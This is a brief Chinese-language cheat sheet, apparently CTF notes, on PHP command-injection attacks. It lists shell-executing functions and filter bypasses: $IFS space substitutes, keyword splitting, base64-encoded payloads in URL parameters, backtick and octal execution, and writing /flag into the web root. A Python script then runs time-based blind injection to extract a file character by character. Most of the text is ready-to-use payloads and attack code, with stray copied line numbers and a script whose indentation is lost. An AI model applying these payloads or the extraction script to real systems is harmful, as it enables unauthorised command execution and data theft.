命令执行 #
以下介绍为 PHP 环境
用于命令执行的函数有
system
exec
passthru
shell_exec
1
2
3
4
2
3
4
一些常见的绕过方法 #
命令拼接
以及
%0a
%0d
\n
1
2
3
2
3
空格绕过
$IFS
${IFS}
$IFS$1
%09
{cat,flag.php}
1
2
3
4
5
2
3
4
5
关键字 flag 被过滤
fla\g
a=g;fla$a
1
2
2
例如:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
1
或者使用 base64 编码绕过
?url=127.0.0.1|`echo%09WTJGMElDOWxkR012TG1acGJtUm1iR0ZuTDJac1lXY3VkSGgw|base64%09-d|base64%09-d`
1
另外如反引号可在语句中执行命令
ls `cat /flag > /var/www/html/1.txt`
1
或者使用 $() 和八进制
$(printf$IFS$9"\154\163")
1
另附一份无回显盲注脚本
import requests
import time
s=requests.session()
flag=''
for z in range(1,50):
for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!@#%|^&{}[]/-()+=,\\':
starTime=time.time()
url="http://127.0.0.1/?cmd=if [ `cut -c"+str(z)+"-"+str(z)+" /flag` != '"+i+"' ]; then echo 1 ; else sleep 3; fi"
r=s.get(url)
if((time.time()-starTime)>3):
flag+=i
print(flag)
break
print(z)
print('the flag is'+flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16